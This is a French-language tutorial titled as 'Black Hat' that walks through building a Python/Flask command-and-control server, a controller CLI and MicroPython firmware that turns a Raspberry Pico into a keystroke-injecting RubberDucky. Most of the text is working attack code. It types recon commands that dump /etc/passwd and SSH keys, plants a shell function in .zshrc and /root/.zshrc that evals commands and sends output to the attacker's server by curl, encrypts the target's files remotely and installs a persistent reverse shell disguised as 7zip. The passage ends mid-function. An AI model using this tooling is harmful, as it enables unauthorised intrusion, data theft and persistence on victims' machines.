Écrire un C2 Command & Control en Python !

Black Hat
3238 mots

Introduction

Dans cet article nous allons voir ce que signifie C2, et comment le mettre en place grâce à Python de manière simple.

Signification

En fait un C2, est un centre de d'envoi de commande et de contrôle à distance. La définition est vaste car il peut être la même chose qu'un simple ReverseShell ou HIDVN (Hidden Desktop Virus Node) bi-directionnel ou en gérer plusieurs à la fois comme Sliver ou les sessions meterpreter de Metasploit. Voir Sliver.

Ce qu'on va introduire nous, c'est une forme un peu différente qui va utiliser à distance les capacité d'une RubberDucky (mais les autres types sont parfaitement faisable en Python), pour plus d'infos sur la RubberDucky que l'on va utiliser je vous renvoie vers cet article. Ce sera donc composé de 3 parties : Un Server HTTP, Un Centre de Controle, La RubberDucky

Prérequis

  • Un PC mdr
  • Python ~3.12 ou + installé -> Si ce n'est pas le cas voir ici
  • Connaissances de bases en programmation si possible.
  • Suivre cet Article

Environnement Virtuel

Python permet de créer des environnements virtuels pour pouvoir travailler en installant des librairies dans un espace fermé du système, que l'on peut supprimer après travail fini. Ca évite de surplomber le système de modules qui serviront qu'une fois.

Créer l'environnement

python3 -m venv nom_de_lenvironnement

Utiliser l'environnement

# Sur Linux ou MacOS: 
source env/bin/activate

# Sur Windows

.\env\scripts\Activate.ps1

Vous devriez voir apparaître (env) devant votre pseudonyme dans le terminal.

Installer les modules nécessaires

pip install Flask
pip install blinker
pip install certifi
pip install charset-normalizer
pip install click
pip install idna
pip install itsdangerous
pip install Jinja2
pip install MarkupSafe
pip install pyserial
pip install pyudev
pip install requests
pip install rshell
pip install urllib 3
pip install WerkZeug

Mise en Place

Un C2 se met en place via au minimum 3 choses un serveur, un contrôleur et un contrôlé. C'est pour ca que l'on va écrire 2 fichiers Python :

  • C2.py : Notre serveur HTTP avec Flask pour recevoir les réponses et envoyer les commandes
  • Controller.py : Notre centre de contrôle qui permettra d'envoyer des commandes

1. C2.py (Le Serveur)

Voici le procédé :

  • Nos commandes vont être stockée au format JSON sur un lien de notre serveur HTTP par exemple /commands
  • Les réponses que l'on va recevoir seront reçues au format JSON par exemple sur /results
  • On va devoir réinitialiser les commandes à chaque fois que notre RubberDucky en aura récupéré une, et à chaque nouvel envoi
  • On va devoir aussi écrire correctement chaque réponses pour les afficher les logs de notre server proprement.
from flask import Flask, request, jsonify,
import os

app = Flask(__name__)

# Variable globale pour stocker la commande en attente
current_command = None

# Création du lien /commands qui va stocker les commandes autorisant les requêtes GET (voir du contenu) et POST (soumission d'informations)
@app.route('/command', methods=['GET', 'POST'])
def handle_command():
    global current_command

    if request.method == 'POST':
        # Lorsque le serveur reçoit une nouvelle commande
        data = request.get_json()
        current_command = data.get("command", "")
        return jsonify({"status": "Command received"}), 200
    
    elif request.method == 'GET':
        # Lorsque la Rubber Ducky demande une commande
        if current_command:
            command_to_send = current_command
            current_command = None  # Réinitialiser la commande après l'avoir envoyée
            return jsonify({"command": command_to_send}), 200
        else:
            return jsonify({"command": ""}), 200


@app.route('/results', methods=['POST', 'GET'])
def receive_results():
    data = request.get_json()

    # On imprime le résultat selon ce que nous a donné la commande. Puis on l'affiche correctement pour que ce soit lisible dans le Terminal
    result = data.get("result", "Aucun résultat reçu")
    print(f"""[*] Résultat reçu : 
\n\n
###################################################################################################
\n
{result}
\n
###################################################################################################
\n\n""")
    return jsonify({"status": "Résultat reçu"}), 200

# Puis on démarre le server Flask ici c'est sur l'IP de broadcast et le port 5000 accessible depuis : 127.0.0.1:5000, VotreIPPrivée:5000, localhost:5000
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

Maintenant notre server HTTP est fin prêt nous pouvons commencer à rédiger le contrôleur

2. Central.py (Le Contrôleur)

Voici le procédé :

  • Nos commandes vont être envoyée au format JSON vers C2.py
  • Nous allons devoir créer plusieurs types de commandes selon ce que l'on souhaite faire (ici c'est du pentesting alors...)
  • Créer l'API pour les messages d'aides, etc...
import argparse
import requests
import sys

# Configuration du serveur C2
C2_SERVER = "http://192.168.1.46:5000" # Remplacez par votre IP Privée

# On commence à automatiser l'envoie des commandes
def send_command(command):
    try:
        response = requests.post(
            f"{C2_SERVER}/command",
            json={"command": command},
            headers={"Content-Type": "application/json"},
        )
        if response.status_code == 200:
            print(f"[+] Commande envoyée avec succès : {command}")
            print(f"[+] Réponse du serveur : {response.json()}")
        else:
            print(f"[!] Erreur du serveur : {response.status_code} - {response.text}")
    except Exception as e:
        print(f"[!] Erreur lors de l'envoi de la commande : {e}")


# On va définir ici toutes nos commandes
def main():
    # Gestion des arguments de ligne de commande
    parser = argparse.ArgumentParser(description="Central: Gestion simplifiée des commandes C2.")
    
    ######## Définition des arguments qui vont renvoyer telle ou telle commande vers le C2
    
    # Fonctions Pour Mettre en place le Shell du C2 qui va nous renvoyer les résultats des commandes directement sur le serveur
    parser.add_argument(
        "-Sys",
        type=str,
        metavar="Target System (Linux, Windows, MacOS)",
        help="ChickenShell isn't the same depending on the target's OS",
    )
    parser.add_argument(
        "-SetChickenShell",
        action="store_true",
        help="Configurer le terminal et la fonction RobberChicken.",
    )
    parser.add_argument(
        "-SetRootChickenShell",
        action="store_true",
        help="Configurer le terminal et la fonction RobberChicken. Si droits Roots.",
    )

    ### Fonctions d'exécutions 
    parser.add_argument(
        "-Exec",
        type=str,
        metavar="'command options'",
        help="Exécuter une commande dans le terminal ouvert.",
    )
    parser.add_argument(
        "-ExecNormal",
        type=str,
        metavar="SuperSudoPassword",
        help="The RobberChicken alias a command to send back outputs tou, in case u need to input a password for something like sudo use this option to only print the word need",
    )
    parser.add_argument(
        "-Disconnect",
        action="store_true",
        help="Disconnect the RobberChicken 2.0 W from the target machine. Can only be done once; unplugging and replugging it is required to restart the connection.",
    )
    ###### Fonctions intégrées au Shell 
    ### Ouvrir Terminal
    parser.add_argument(
        "-Terminal",
        action="store_true",
        help="Ouvre un terminal dépendant de l'option -Sys",
    )
    ### Fonctions Reconnaissance Active
    parser.add_argument(
        "-SortNetInfos",
        action="store_true",
        help="Will send back to u of available networks informations",
    )
    parser.add_argument(
        "-SortHardwareInfos",
        action="store_true",
        help="Will send back to u of available hardware informations",
    )
    parser.add_argument(
        "-SortHostInfos",
        action="store_true",
        help="Will send back to u of available host & sys informations",
    )
    ### Chiffrement de dossiers/fichiers sur la cible
    parser.add_argument(
        "-Encrypt",
        type=str,
        metavar="folder, file.py, etc...",
        help="Encrypt File",
    )
    parser.add_argument(
        "-Decrypt",
        type=str,
        metavar="folder, file.py, etc...",
        help="Decrypt File",
    )
    # Password pour le chiffrement
    parser.add_argument(
        "-p",
        type=str,
        metavar="superStrongPassword",
        help="Encryption Password",
    )
    # Options de chiffrement
    parser.add_argument(
        "-openssl",
        action="store_true",
        help="Use Openssl",
    )
    parser.add_argument(
        "-gpg",
        action="store_true",
        help="Use gpg",
    )
    parser.add_argument(
        "-use7z",
        action="store_true",
        help="Use 7zip",
    )
    # Créer un Reverse Shell Persistant sur la cible
    parser.add_argument(
        "-SetReverseShell",
        action="store_true",
        help="Put a simple revershell written in C renamed 7zip, with automation"
    )


    
    args = parser.parse_args()

    # Traitement des erreurs 
    if args.SetChickenShell or args.SetRootChickenShell and not args.File:
        print("[!] Erreur : ChickenShell nécessite l'option -Sys .")
        sys.exit()
    if args.Encrypt and not args.p:
        if not args.openssl or not args.gpg or not args.use7z:
            print("[!] Erreur : L'option -Encrypt nécessite -p et une option : openssl, gpg, 7z .")
        sys.exit()
    if args.Decrypt and not args.p:
        if not args.openssl or not args.gpg or not args.use7z:
            print("[!] Erreur : L'option -Encrypt nécessite -p et une option : openssl, gpg, 7z .")
        sys.exit()

    # Mise en place des commandes JSON que vont envoyer nos arguments
    if args.SetChickenShell:
        if args.Sys:
            send_command(f"Set ChickenShell {args.Sys}")        
    if args.SetRootChickenShell:
        if args.Sys:
            send_command(f"Set Root ChickenShell {args.Sys}")        
    elif args.Exec:
        send_command(f"Exec {args.Exec}")
    elif args.ExecNormal:
        send_command(f"ExecNormal {args.ExecNormal}")
    elif args.Terminal:
        if args.Sys:
            send_command(f"Terminal {args.Sys}")
    elif args.Disconnect:
        send_command("Disconnect")
    elif args.SortNetInfos:
        send_command("SortNetInfos")
    elif args.SortHardwareInfos:
        send_command("SortHardwareInfos")
    elif args.SortHostInfos:
        send_command("SortHostInfos")
    elif args.Encrypt:
            if args.openssl:
                send_command(f"Encrypt {args.Encrypt} openssl {args.p}")
            elif args.gpg:
                send_command(f"Encrypt {args.Encrypt} gpg {args.p}")
            elif args.use7z:
                send_command(f"Encrypt {args.Encrypt} 7z {args.p}")
    elif args.Decrypt:
            if args.openssl:
                send_command(f"Decrypt {args.Decrypt} openssl {args.p}")
            elif args.gpg:
                send_command(f"Decrypt {args.Decrypt} gpg {args.p}")
            elif args.use7z:
                send_command(f"Decrypt {args.Decrypt} 7z {args.p}")
    elif args.SetReverseShell:
        send_command(f"Set ReverseShell")
    else:
        print("[!] Aucun argument valide fourni. Utilisez -h pour afficher l'aide.")

# Lancement de la fonction au démarrage du programme.
if __name__ == "__main__":
    main()

Et voici notre controlleur qui est enfin prêt.
Vous pouvez tester le bon fonctionnement de vos 2 programmes en ouvrant 2 Terminaux distinct, vous lancez d'abord le serveur :

python3 C2.py

Puis le programme avec les commandes souhaitées, par exemple:

python3 Central.py -Sys Linux -SetChickenShell # Va vous mettre en place une commande environnement sur le système cible de type linux pour recevoir les résultats de vos commandes.

Enfin nous n'aurons plus qu'à configurer la clé Rubber Ducky. Vous devriez suivre ceci, avant de poursuivre dans cet article

3. Configurer la RubberDucky

Comme vous avez lu l'article vous ne devriez pas avoir de mal a écrire vos librairies et à comprendre la manière dont fonctionne Micropython & Raspberry Pico donc on va passer desuite à la configuration du main.py

import network
import urequests
import time
from machine import Pin

# KeyBoard Libs
import usb.device
from usb.device.keyboard import KeyboardInterface, KeyCode
# Nos librairies
from myLibs.SetShell import *
from myLibs.utils import *
from myLibs.openTerminals import *
# Test LED
led_int = Pin("LED", Pin.OUT)

# Initialisation du Clavier
class C2Keyboard(KeyboardInterface):
    def on_led_update(self, led_mask):
        pass

# Configuration réseau
#SSID = "NomDuPointDaccesWifi"
#PASSWORD = "MotDePasse"


k = C2Keyboard()
usb.device.get().init(k, builtin_driver=True)
    
while not k.is_open():
    time.sleep(1)

# Lire les variables de configuration
def reading_config(file_path):
    config = {}
    with open(file_path, 'r') as file:
        for line in file:
            # Ignorer les lignes vides ou les commentaires
            if line.strip() and not line.strip().startswith("#"):
                key, value = line.strip().split("=", 1)
                config[key.strip()] = value.strip()
    return config

### Initialize Config
config = reading_config("config.txt")

# Set Server Config Environnement 
C2server = config["webserver"]
C2serverOutputs = config["webserveroutputs"]
OSystem = config["OSystem"]

# Config Acces Point
SSID = config["stationId"]
PASSWORD = config["stationPassword"]
# Set Rev Shell
srv = config["distsrv"]
prt = config["distport"]

# Flag pour gérer la déconnexion à distance
disconnect_flag = False

### Shell Functions
# Option -ExecNormal de notre Central.py pour exécuter les commandes sans recevoir d'outputs (utiles pour rentrer des mots de passes)
def ExecNormalCommand(clavier, command):
    sequence = []
    for letter in stringSeq(command):
        sequence.append(letter)
    sequence.append(ENTER)
    
    sendKeysZer(sequence, clavier, 0.01)

# Execution de commande avec le shell de renvoi des résultat vers le server (utilisé le plus souvent)
def RobberChickenCommand(clavier, command):   
    cmd_to_send = f"RobberShell \"{command}\""
    sequence = []
    for letter in stringSeq(cmd_to_send):
        sequence.append(letter)
    sequence.append(ENTER)
    
    sendKeysZer(sequence, clavier, 0.01)

### Fonctions de chiffrement/déchiffrement
def EncryptPass(clavier, password):
    sequence = []
    for letter in stringSeq(password):
        sequence.append(letter)
    sequence.append(TAB)
    for letter in stringSeq(password):
        sequence.append(letter)
    sequence.append(ENTER)
    sendKeysZer(sequence, clavier, 0.01)

def DecryptPass(clavier, password):
    sequence = []
    for letter in stringSeq(password):
        sequence.append(letter)
    sequence.append(ENTER)
    sendKeysZer(sequence, clavier, 0.01)

# Gérer la déconnexion
def DisconnectPico():
    global disconnect_flag
    disconnect_flag = True  # Changer le flag pour arrêter la boucle

# Connexion au Wi-Fi
def connect_wifi():
    wlan = network.WLAN(network.STA_IF)
    wlan.active(True)
    wlan.connect(SSID, PASSWORD)
    print("Connexion au Wi-Fi...")
    while not wlan.isconnected():
        pass
    print("Connecté :", wlan.ifconfig())

# Exécuter une commande reçue par le server
def execute_command(command):
    
    ### Mise en place de la variable environnement pour l'envoi d'outputs
    if command == "Set ChickenShell Linux":
        led_int.value(1)
        setChickenShellNoDependencies(k, C2serverOutputs)
        led_int.value(0)
    elif command == "Set ChickenShell Windows":
        setChickenShellWindows(k, C2serverOutputs)
    elif command == "Set ChickenShell MacOS":
        led_int.value(1)
        setChickenShell(k, C2serverOutputs)
        led_int.value(0)
    elif command == "Set Root ChickenShell":
        setRootChickenShell(k, C2serverOutputs)
    
    ### Recevoir les commandes avec -Exec "command"
    elif command.startswith("Exec "):  
        dynamic_command = command[5:]  
        
        if OSystem == "Linux":
            RobberChickenCommand(k, dynamic_command)
        elif OSystem == "Windows":
            WinRobberChickenCommand(k, dynamic_command)
        elif OSystem == "MacOS":
            RobberChickenCommand(k, dynamic_command)
    elif command.startswith("ExecNormal "):  
        wordString = command[11:]  
        ExecNormalCommand(k, wordString)
    
    ### Ouvrir un Terminal selon système
    elif command.startswith("Terminal "):  
        terminal_type = command[9:]  
        
        if terminal_type == "Linux":
            openLinuxTerm(k)
        elif terminal_type == "Windows":
            openWindowsTerm(k)
        elif terminal_type == "MacOS":
            openMacTerm(k)
        else:
            print(f"[!] Système non supporté : {terminal_type}")
    elif command == "Disconnect":
        DisconnectPico()
    
    ### Fonctions de reconnaissance active sur Linux
    elif command == "SortNetInfos":
        RobberChickenCommand(k, "echo \\\"###########################IFCONFIG OUTPUT\\n\\n $(ifconfig)\\n\\n###########################IP A OUTPUT\\n\\n $(ip a)\\n\\n###########################NETSTAT -ANO OUTPUT\\n\\n $(netstat -ano)\\n\\n###########################NETSTAT -TULN OUTPUT\\n\\n $(netstat -tuln)\\n\\n###########################ROUTE INFOS\\n\\n $(route -n)\\n\\n $(ip route)\\n\\n###########################ARP INFOS\\n\\n $(ip neigh)\\n\\n $(arp -a)\\n\\n###########################OPENED APPS\\n\\n $(lsof -i)\\n\\n###########################SSH INFOS\\n\\n $(ss -tnp | grep ssh)\\n\\n $(ls ~/.ssh)\\\"")
    elif command == "SortHardwareInfos":
        RobberChickenCommand(k, "echo \\\"###########################CPU INFOS\\n\\n $(lscpu)\\n\\n###########################RAM MEMORY INFOS\\n\\n $(free -h)\\n\\n###########################DISKS INFOS\\n\\n $(lsblk)\\n\\n $(df -h)\\n\\n###########################NETWORK CARD INFOS\\n\\n $(ip a)\\n\\n $(lspci | grep -i ethernet)\\n\\n###########################USB INFOS\\n\\n $(lsusb)\\n\\n $(usb-devices)\\n\\n###########################GPU INFOS\\n\\n $(lspci | grep -i vga)\\n\\n###########################PCI INFOS\\n\\n $(lspci)\\n\\n###########################KERNEL MODULES INFOS\\n\\n $(lsmod)\\n\\n###########################BATTERY INFOS (PORTABLES)\\n\\n $(upower -i /org/freedesktop/UPower/devices/battery_BAT0)\\n\\n###########################CAPTORS INFOS\\n\\n $(sensors)\\n\\n###########################BLUETOOTH INFOS\\n\\n $(hciconfig)\\\"")
    elif command == "SortHostInfos":
        RobberChickenCommand(k, "echo \\\"###########################SYS INFOS\\n\\n $(uname -a)\\n\\n$(hostnamectl)\\n\\n###########################HOST INFOS\\n\\n $(whoami)\\n\\n $(w) \\n\\n $(id)\\n\\n $(cat /etc/group)\\n\\n $(cat /etc/passwd)\\n\\n###########################PROCESS INFOS\\n\\n $(ps ux)\\n\\n###########################OPENED FILES INFOS\\n\\n $(lsof -i)\\n\\n###########################TEMP FILES INFOS\\n\\n $(ls /tmp)\\n\\n###########################CONFIG SYS FILES INFOS\\n\\n $(cat /etc/resolv.conf)\\n\\n###########################CRONTAB INFOS\\n\\n $(crontab -l)\\n\\n $(ls /etc/cron.d)\\n\\n###########################CONFIG HOST FILES INFOS\\n\\n $(ls ~/.config)\\n\\n###########################CACHE INFOS\\n\\n $(ls ~/.cache)\\n\\n###########################LOG FILES INFOS\\n\\n $(ls /var/log)\\\"")
   
    ### Fonctions de chiffrement/dechiffrement
    elif command.startswith("Encrypt "):
        filename = command.split()[1]
        password = command.split()[3]
        option = command.split()[2]
        if option == "openssl":
            ExecNormalCommand(k, f'tar -czf - {filename} | openssl enc -aes-256-cbc -salt -pbkdf2 -iter 100000 -out {filename}.enc -k "{password}"')
        elif option == "gpg":
            ExecNormalCommand(k, f'gpg -c {filename}')
            time.sleep(1)
            EncryptPass(k, f'{password}')
        elif option == "7z":
            password = f'\\{password}'
            ExecNormalCommand(k, f'7z a -p -mhe=on {filename}.7z {filename}')
            time.sleep(1)
            ExecNormalCommand(k, f'{password}')
    elif command.startswith("Decrypt "):
        filename = command.split()[1]
        password = command.split()[3]
        option = command.split()[2]
        if option == "openssl":
            ExecNormalCommand(k, f'openssl enc -d -aes-256-cbc -salt -pbkdf2 -iter 100000 -in {filename}.enc -k {password} | tar -xzf -')
        elif option == "gpg":
            ExecNormalCommand(k, f'gpg --no-symkey-cache -d {filename}.gpg > {filename}')
            time.sleep(1)
            DecryptPass(k, f'{password}')
        elif option == "7z":
            password = f'\\{password}'
            ExecNormalCommand(k, f'7z x -p{password} {filename}.7z')
            time.sleep(1)
            ExecNormalCommand(k, 's')
    
    # Mise en place du ReverseShell Persistant sur la cible
    elif command == "Set ReverseShell":
        setCReverseShell(k, srv, prt)
    else:
        print(f"[!] Commande inconnue : {command}")



# Boucle principale : se connecter au serveur et attendre les commandes
def main():
    connect_wifi()
    
    start_time = time.time()  # Temps de départ pour le timeout
    timeout = 30  # Délai d'attente avant d'arrêter la boucle (30 secondes) pour éviter la boucle infinie qui empêchera l'appareil de fonctionner correctement
    
    while True:
        try:
            if disconnect_flag:
                break
            
            print("[*] Récupération des commandes...")
            response = urequests.get(C2server + "/command")
            if response.status_code == 200:
                command = response.json().get("command", "")
                if command:
                    execute_command(command)
                    start_time = time.time()  # Réinitialiser le compteur de temps à chaque commande reçue
                else:
                    print("[*] Aucune commande reçue.")
            
            # Vérifier si le délai de 30 secondes est écoulé
            if time.time() - start_time > timeout:
                print("[*] Temps écoulé sans commande, arrêt du processus.")
                break  # Quitter la boucle si aucune commande n'est reçue pendant 30 secondes

            time.sleep(2)  # Pause avant la prochaine requête
            
        except Exception as e:
            print(f"[!] Erreur : {e}")
            time.sleep(2)
# Initialisation du programme dès le branchement de la Rubber Ducky
main()

Voilà notre main.py est fini, nous pouvons maintenant aller charger les modules complémentaires:

myLibs/utils.py
from usb.device.keyboard import KeyboardInterface, KeyCode
import time
import os

def read_config(file_path):
    config = {}
    with open(file_path, 'r') as file:
        for line in file:
            # Ignorer les lignes vides ou les commentaires
            if line.strip() and not line.strip().startswith("#"):
                key, value = line.strip().split("=", 1)
                config[key.strip()] = value.strip()
    return config

#Utils
SPACE = KeyCode.SPACE
BACKSPACE = KeyCode.BACKSPACE
ENTER = KeyCode.ENTER
ESCAPE = KeyCode.ESCAPE
TAB = KeyCode.TAB

LSHIFT = KeyCode.LEFT_SHIFT
RSHIFT = KeyCode.RIGHT_SHIFT

LALT = KeyCode.LEFT_ALT
RALT = KeyCode.RIGHT_ALT

LCTRL = KeyCode.LEFT_CTRL
RCTRL = KeyCode.RIGHT_CTRL

RIGHT = KeyCode.RIGHT
LEFT = KeyCode.LEFT
DOWN = KeyCode.DOWN
UP = KeyCode.UP

#<> for Azerty FR
INFERIOR = 100
SUPERIOR = (KeyCode.LEFT_SHIFT, INFERIOR)

#Miscellanous
LINUX_TERMINAL = (LCTRL, LALT, KeyCode.T)
MAC_TERMINAL = (KeyCode.LEFT_UI, SPACE) 
WINDOWS_POWERSHELL = (KeyCode.LEFT_UI)
#Debug

#Mappage
azertyFR = {
    #Letters
    'a': KeyCode.Q, 'b': KeyCode.B, 'c': KeyCode.C, 'd': KeyCode.D,
    'e': KeyCode.E, 'f': KeyCode.F, 'g': KeyCode.G, 'h': KeyCode.H,
    'i': KeyCode.I, 'j': KeyCode.J, 'k': KeyCode.K, 'l': KeyCode.L,
    'm': KeyCode.SEMICOLON, 'n': KeyCode.N, 'o': KeyCode.O, 'p': KeyCode.P,
    'q': KeyCode.A, 'r': KeyCode.R, 's': KeyCode.S, 't': KeyCode.T,
    'u': KeyCode.U, 'v': KeyCode.V, 'w': KeyCode.Z, 'x': KeyCode.X,
    'y': KeyCode.Y, 'z': KeyCode.W,
    
    #Special Chars
    'à': KeyCode.N0, '&': KeyCode.N1, 'é': KeyCode.N2, '"': KeyCode.N3,
    "'": KeyCode.N4, '(': KeyCode.N5, '-': KeyCode.N6, 'è': KeyCode.N7,
    '_': KeyCode.N8, 'ç': KeyCode.N9, ')': KeyCode.MINUS, '=': KeyCode.EQUAL, '+': (KeyCode.LEFT_SHIFT, KeyCode.EQUAL),
    
    #Numbers
    '1': (KeyCode.LEFT_SHIFT, KeyCode.N1), '2': (KeyCode.LEFT_SHIFT, KeyCode.N2), '3': (KeyCode.LEFT_SHIFT, KeyCode.N3),
    '4': (KeyCode.LEFT_SHIFT, KeyCode.N4), '5': (KeyCode.LEFT_SHIFT, KeyCode.N5), '6': (KeyCode.LEFT_SHIFT, KeyCode.N6),
    '7': (KeyCode.LEFT_SHIFT, KeyCode.N7), '8': (KeyCode.LEFT_SHIFT, KeyCode.N8), '9': (KeyCode.LEFT_SHIFT, KeyCode.N9),
    '0': (KeyCode.LEFT_SHIFT, KeyCode.N0), 
    
    #Utils & Special Chars
    '´': (KeyCode.RIGHT_ALT, KeyCode.N1), '~': (KeyCode.RIGHT_ALT, KeyCode.N2), '#': (KeyCode.RIGHT_ALT, KeyCode.N3),
    '{': (KeyCode.RIGHT_ALT, KeyCode.N4), '[': (KeyCode.RIGHT_ALT, KeyCode.N5), '|': (KeyCode.RIGHT_ALT, KeyCode.N6),
    '`': (KeyCode.RIGHT_ALT, KeyCode.N7), '\\': (KeyCode.RIGHT_ALT, KeyCode.N8), '^': (KeyCode.RIGHT_ALT, KeyCode.N9),
    '@': (KeyCode.RIGHT_ALT, KeyCode.N0), ']': (KeyCode.RIGHT_ALT, KeyCode.MINUS), '}': (KeyCode.RIGHT_ALT, KeyCode.EQUAL),
    '/': (KeyCode.LEFT_SHIFT, KeyCode.DOT), 
    
    ' ': KeyCode.SPACE,
    
    '.': (KeyCode.LEFT_SHIFT, KeyCode.COMMA),
    ',': KeyCode.M,
    ';': KeyCode.COMMA,
    ':': KeyCode.DOT,
    
    '!': KeyCode.SLASH,
    '?': (KeyCode.LEFT_SHIFT, KeyCode.M),
    '$': KeyCode.CLOSE_BRACKET,
    '>': SUPERIOR,
    '<': INFERIOR,
    '*': KeyCode.BACKSLASH,
}

qwertyUS = {
    # Letters
    'a': KeyCode.A, 'b': KeyCode.B, 'c': KeyCode.C, 'd': KeyCode.D,
    'e': KeyCode.E, 'f': KeyCode.F, 'g': KeyCode.G, 'h': KeyCode.H,
    'i': KeyCode.I, 'j': KeyCode.J, 'k': KeyCode.K, 'l': KeyCode.L,
    'm': KeyCode.M, 'n': KeyCode.N, 'o': KeyCode.O, 'p': KeyCode.P,
    'q': KeyCode.Q, 'r': KeyCode.R, 's': KeyCode.S, 't': KeyCode.T,
    'u': KeyCode.U, 'v': KeyCode.V, 'w': KeyCode.W, 'x': KeyCode.X,
    'y': KeyCode.Y, 'z': KeyCode.Z,
    
    # Numbers (direct keys)
    '1': KeyCode.N1, '2': KeyCode.N2, '3': KeyCode.N3, '4': KeyCode.N4,
    '5': KeyCode.N5, '6': KeyCode.N6, '7': KeyCode.N7, '8': KeyCode.N8,
    '9': KeyCode.N9, '0': KeyCode.N0,
    
    # Shifted Numbers (special characters)
    '!': (KeyCode.LEFT_SHIFT, KeyCode.N1), '@': (KeyCode.LEFT_SHIFT, KeyCode.N2),
    '#': (KeyCode.LEFT_SHIFT, KeyCode.N3), '$': (KeyCode.LEFT_SHIFT, KeyCode.N4),
    '%': (KeyCode.LEFT_SHIFT, KeyCode.N5), '^': (KeyCode.LEFT_SHIFT, KeyCode.N6),
    '&': (KeyCode.LEFT_SHIFT, KeyCode.N7), '*': (KeyCode.LEFT_SHIFT, KeyCode.N8),
    '(': (KeyCode.LEFT_SHIFT, KeyCode.N9), ')': (KeyCode.LEFT_SHIFT, KeyCode.N0),
    
    # Special characters (direct keys)
    '-': KeyCode.MINUS, '=': KeyCode.EQUAL, '[': KeyCode.OPEN_BRACKET, ']': KeyCode.CLOSE_BRACKET,
    '\\': KeyCode.BACKSLASH, ';': KeyCode.SEMICOLON, "'": KeyCode.QUOTE,
    '`': KeyCode.GRAVE, ',': KeyCode.COMMA, '.': KeyCode.DOT, '/': KeyCode.SLASH,
    
    # Shifted special characters
    '_': (KeyCode.LEFT_SHIFT, KeyCode.MINUS), '+': (KeyCode.LEFT_SHIFT, KeyCode.EQUAL),
    '{': (KeyCode.LEFT_SHIFT, KeyCode.OPEN_BRACKET), '}': (KeyCode.LEFT_SHIFT, KeyCode.CLOSE_BRACKET),
    '|': (KeyCode.LEFT_SHIFT, KeyCode.BACKSLASH), ':': (KeyCode.LEFT_SHIFT, KeyCode.SEMICOLON),
    '"': (KeyCode.LEFT_SHIFT, KeyCode.QUOTE), '~': (KeyCode.LEFT_SHIFT, KeyCode.GRAVE),
    '<': (KeyCode.LEFT_SHIFT, KeyCode.COMMA), '>': (KeyCode.LEFT_SHIFT, KeyCode.DOT),
    '?': (KeyCode.LEFT_SHIFT, KeyCode.SLASH),
    
    # Miscellaneous
    ' ': KeyCode.SPACE,
}

#Parse Strings(COMMANDS) to sendable keys
def stringSeq(string):
    
    config = read_config("config.txt")
    language = config["lang"]
    
    keycodes = []
    if language == "FR":
        for char in string:
            if char.isupper():
                keycodes.append((KeyCode.LEFT_SHIFT, azertyFR[char.lower()]))
            elif char in azertyFR:
                key = azertyFR[char]
                if isinstance(key, tuple):  # Cas des combinaisons (SHIFT, etc.)
                    keycodes.append(key)
                else:
                    keycodes.append((key,))
            else:
                raise ValueError(f"Caractère Incompatible : {char} {key}")
    elif language == "US":
        for char in string:
            if char.isupper():
                keycodes.append((KeyCode.LEFT_SHIFT, qwertyUS[char.lower()]))
            elif char in qwertyUS:
                key = qwertyUS[char]
                if isinstance(key, tuple):  # Cas des combinaisons (SHIFT, etc.)
                    keycodes.append(key)
                else:
                    keycodes.append((key,))
            else:
                raise ValueError(f"Caractère Incompatible :")
    return keycodes

#Function to Send Keys Properly
def sendKeys(seq, parameter, timesleep):
    
    for key in seq:
        if isinstance(key, tuple):
            if key == LINUX_TERMINAL:
                parameter.send_keys(list(key))
                time.sleep(0.3)
            else:
                parameter.send_keys(list(key))
        elif isinstance(key, str):  # Si la clé est une chaîne (caractère Unicode)
            parameter.send_keys([key])
        else:
            parameter.send_keys([key])
            
        time.sleep(timesleep)
        parameter.send_keys([])
        time.sleep(timesleep)
        
# For v.2.0
def sendKeysZer(seq, parameter, timesleep):
    
    for key in seq:
        if isinstance(key, tuple):
            parameter.send_keys(list(key))
        elif isinstance(key, str):  # Si la clé est une chaîne (caractère Unicode)
            parameter.send_keys([key])
        else:
            parameter.send_keys([key])
            
        time.sleep(timesleep)
        parameter.send_keys([])
        time.sleep(timesleep)

myLibs/SetShell.py (pour le ChickenShell)
import time
from usb.device.keyboard import KeyCode
from .utils import *

# Deprecated cause it depends on jq tools
def setChickenShell(value, server):
    sequence = [LINUX_TERMINAL]
    
    sendKeysZer(sequence, value, 0.01)  
    
    time.sleep(2) 
    
    sequence = []      
    command1 = (
        "echo -e 'function RobberChicken() {\\n"
        "    if [ -z \"$1\" ]; then\\n"
        "        echo \"Erreur : Aucune commande fournie.\"\\n"
        "        return 1\\n"
        "    fi\\n\\n"
        "    # Utilisation de \"eval\" pour exécuter la commande dynamique passée en paramètre\\n"
        "    result=$(eval \"$1\")  # \"eval\" va interpréter et exécuter la commande\\n"
        "    # Envoie le résultat via curl\\n"
        "    curl -X POST -H \"Content-Type: application/json\" \\\\\\n"
        "         -d \"$(jq -n --arg result \"$result\" '\\''{\"result\": $result}'\\'')\" \\\\\\n"
    )
    
    command2 = f"         {server}\\n"
    
    command3 = (
        "}\\n"
        "' >> ~/.zshrc"
    )
    
    sourceIt = "source ~/.zshrc"
    
    exitTerm = "exit"
    
    
    for letter in stringSeq(command1):
        sequence.append(letter)
    for letter in stringSeq(command2):
        sequence.append(letter)
    for letter in stringSeq(command3):
        sequence.append(letter)
    sequence.append(ENTER)
    
    for letter in stringSeq(sourceIt):
        sequence.append(letter)
    sequence.append(ENTER)
    
    for letter in stringSeq(exitTerm):
        sequence.append(letter)
    sequence.append(ENTER)
    
    sendKeysZer(sequence, value, 0.01)

## SetShell Functions 
def setRootChickenShell(clavier, server):
    sequence = []
    
    command1 = (
        "echo -e 'function RcS() {\\n"
        "    if [ -z \"$1\" ]; then\\n"
        "        echo \"Erreur : Aucune commande fournie.\"\\n"
        "        return 1\\n"
        "    fi\\n\\n"
        "    # Utilisation de \"eval\" \\n"
        "    result=$(eval \"$1\" 2>&1)  # Commentaire\\n\\n"
        "    # Echappe caractere speciaux\\n"
        "    result_escaped=$(echo \"$result\" | sed '\"'\"'s/\"/\\\\\"/g'\"'\"' | sed '\"'\"':a;N;$!ba;s/\\\\n/\\\\\\\\n/g'\"'\"')\\n"
        "    # construire json\\n"
        "    jsondataset=\"{\\\"result\\\": \\\"$result_escaped\\\"}\"\\n"
        "    # Envoie le résultat via curl\\n"
        "    curl -X POST -H \"Content-Type: application/json\" \\\\\\n"
        "         -d \"$jsondataset\" \\\\\\n"
    )
    
    command2 = f"         {server}\\n"
    
    command3 = (
        "}\\n"
        "' >> /root/.zshrc"
